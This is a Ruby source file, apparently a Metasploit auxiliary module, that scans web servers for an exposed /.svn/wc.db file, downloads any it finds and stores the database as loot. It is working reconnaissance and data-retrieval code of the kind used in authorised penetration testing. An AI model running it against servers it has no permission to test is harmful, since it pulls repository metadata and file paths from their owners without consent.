rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'SVN wc.db Scanner',
      'Description'    => %q{
        Scan for servers that allow access to the SVN wc.db file.
        Based on the work by Tim Meddin.
      },
      'Author'         =>
        [
          'Stephen Haywood <stephen[at]averagesecurityguy.info>',
        ],
      'References'     =>
        [
          ['URL','https://web.archive.org/web/20130107035252/http://pen-testing.sans.org/blog/pen-testing/2012/12/06/all-your-svn-are-belong-to-us']
        ],
      'License'        =>  MSF_LICENSE
    )

    register_advanced_options(
      [
        OptString.new('TARGETURI', [false, 'Base path to the .svn directory', '/.svn/'])
      ])
  end

  def run_host(ip)
    base_path = target_uri.path
    get_wcdb(normalize_uri(base_path, 'wc.db'))
  end

  def get_wcdb(path)
    proto = (ssl ? 'https://' : 'http://')
    vprint_status("Trying #{proto}#{vhost}:#{rport}#{path}")
    begin
      res = send_request_cgi(
        {
          'method'  => 'GET',
          'uri'     => path,
          'ctype'   => 'text/plain'
        }
      )

      if res and res.code == 200
        print_good("SVN wc.db database found on #{vhost}:#{rport}")

        file = store_loot(
          "svn.wcdb.database",
          "application/octet-stream",
          vhost,
          res.body,
          "wc.db",
          "SVN wc.db database"
        )

        print_good("SVN wc.db database stored in #{file}")

        report_note(
          :host => rhost,
          :port => rport,
          :proto => 'tcp',
          :sname => (ssl ? 'https' : 'http'),
          :type => 'svn_wc_database',
          :data => "SVN wc.db database is stored in #{file}"
        )
      else
        vprint_error("SVN wc.db database not found on #{vhost}:#{rport}")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end